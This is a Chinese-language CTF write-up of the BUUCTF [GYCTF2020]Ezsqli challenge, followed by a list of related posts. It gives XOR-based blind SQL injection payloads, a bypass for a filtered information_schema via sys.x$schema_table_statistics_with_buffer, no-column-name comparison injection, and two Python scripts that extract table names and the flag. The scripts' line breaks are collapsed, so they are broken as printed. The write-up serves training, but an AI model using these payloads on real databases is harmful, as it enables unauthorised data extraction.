[GYCTF2020]Ezsqli --BUUCTF
目录
分析
爆表
无列名注入
分析
先上fuzz跑
长度为507的表示被过滤掉了,长度497的回显false,也有可能被过滤删掉的,测试的时候发现注释符被过掉了,对比查询1和1#或1--
结果都是返回Nu1L,试了挺久,绕过方法也试过,发现能用if,^,&&
if(1,1,2)0^1(1&&1)
先看看能不能爆数据库,构造payload
if(ascii(substr(database(),1,1))>32,1,2)0^(ascii(substr(database(),1,1))>32)(1 && (ascii(substr(database(),1,1))>32))
爆表
能爆数据库,接着爆表,因为information_schema.tables被过滤了,所以得找新的东西代替,参考
Bypass information_schema与无列名注入_WHOAMIAnony的博客-CSDN博客
用sys.x$schema_table_statistics_with_buffer代替,构造payload
0^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),1,1))>32)
都能正常回显 ,接着用异或写一个二分法的python脚本,爆表
#buuctf web ezsqli
from turtle import right
import requests
import timeurl = "http://8be76b70-3e62-4ed2-bddb-9a1f96815747.node4.buuoj.cn:81/"
table_name = ""
i = 0while True:i = i + 1letf = 32right = 127while letf < right:mid = (letf+right) // 2payload = f"0^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),{i},1))>{mid})"data = {"id":payload}res = requests.post(url=url,data=data).textif "Nu1L" in res:letf = mid + 1else:right = midif letf != 32:table_name += chr(letf)time.sleep(0.2)print(table_name)else:break
得到两张表
f1ag_1s_h3r3_hhhhh,users233333333333333
无列名注入
因为过滤了好多东西,不能用到常规的方法绕过,这题要利用到ascii偏移注入,也就是比较盲注,具体可参考
Bypass information_schema与无列名注入_WHOAMIAnony的博客-CSDN博客
无列名注入
构造payload
0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'A'))
正常回显 ,写个脚本跑
#buuctf web ezsqli
import requests
import timeurl = "http://8be76b70-3e62-4ed2-bddb-9a1f96815747.node4.buuoj.cn:81/"
flag = ""
i = 0while True:i = i + 1letf = 32right = 127while letf < right:s = flagmid = (letf+right) // 2s = s + chr(mid)payload = f"0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"data = {"id":payload}res = requests.post(url=url,data=data).textif "Nu1L" in res:letf = mid + 1else:right = midif letf != 32:flag += chr(letf-1)print(flag)time.sleep(0.2)else:break
跑出
修改一下格式,将大写替换成小写就是flag了
flag{13a8a41c-845b-46ee-97bf-ac4184bf49b2}
[GYCTF2020]Ezsqli --BUUCTF相关推荐
- [BUUCTF][GYCTF2020]Ezsqli
[GYCTF2020]Ezsqli 布尔盲注 无列名盲注 抓包,存在post的id参数. 进行测试 id=1时, :Nu1L id=0时, :Error Occured When Fetch Resu ...
- [GYCTF2020]Ezsqli
文章目录 ASCII位偏移 参考文章 无列名注入,acii位偏移 打开环境后,是个查询的东西 输入1 返回Nu1L 输入2 返回V&N 输入其他 返回Error Occured When Fe ...
- [GYCTF2020]Ezsqli -wp
打开容器后可以看到一个提交框 尝试一下发现可以进行bool盲注0^1 0^(ascii(substr((select database()),1,1))>0) 可以比较顺利的查到库名 give_ ...
- Web_SQL注入(1)
前言: 考察SQL注入的赛题很多,而且涉及到的知识也很杂,就总结一下做过的不同类型的SQL注入汇总一下. [GYCTF2020]Blacklist --涉及新知识HANDLER ... OPEN等.堆 ...
- 【web-ctf】ctf_BUUCTF_web(2)
文章目录 BUUCTF_web SQL注入 1. [RCTF2015]EasySQL 2. [CISCN2019 华北赛区 Day1 Web5]CyberPunk 3. [CISCN2019 总决赛 ...
- 深入浅出Flask PIN
最近搞SSTI,发现有的开发开了debug,由此想到了PIN,但一直没有对这个点做一个深入剖析,今天就完整的整理Flask Debug PIN码的生成原理与安全问题. PIN是什么? PIN是 Wer ...
- 深入浅出Flask PIN
最近搞SSTI,发现有的开发开了debug,由此想到了PIN,但一直没有对这个点做一个深入剖析,今天就完整的整理Flask Debug PIN码的生成原理与安全问题. PIN是什么? PIN是 Wer ...
- BUUCTF [GYCTF2020] Blacklist
BUUCTF [GYCTF2020] Blacklist 启动靶机: 提交参数1后正常回显内容: 输入2/2判断注入类型: 回显为2,可以判断出为字符型注入 输入select,查看是否存在回显: re ...
- BUUCTF[GYCTF2020]Blacklist
sql注入题型,测试发现黑名单如下: 大小写,双写,编码均不可绕过. 可用的还有,or and union show 输入:1 or 1=1 无反应 输入:1' or '1' ='1 如下: 字符型注 ...
最新文章
- 最优化方法系列:Adam+SGD-AMSGrad 重点
- GTDB:基因组分类数据库,物种注释和进化树构建工具GTDB-tk
- matlab_矩阵的灵活操作
- 机器学习第11天:朴素贝叶斯模型 - 垃圾短信识别
- 面试之 listview优化
- 【模板】Manacher算法
- c语言 有趣的代码,分享一段有趣的小代码
- Kibana:数据分析的可视化利器
- 9种深度学习算法简介
- tlwr886n发挥最大网速_路由器中的2.4G和5G有什么区别?用错了网速变“龟速”
- python的符号函数得到的数字类型_python-1:Number数字类型 之二 相关函数 int.from_bytes,int.to_bytes()...
- @扎克伯格:一句对不起,能挽回我们泄漏的数据吗?
- 寻找最优秀AI公司 | 量子位2018年度评选启幕
- Windows平台下MySQL常用操作与命令
- Laravel每日一记
- 如何经营好自己的朋友圈
- 百度网盘windows10镜像文件
- 企业WiFi认证 保护企业的信息
- js调用app下载或者打开app(手机下载或者打开新的页面)
- 卷积层的dropout - dropblock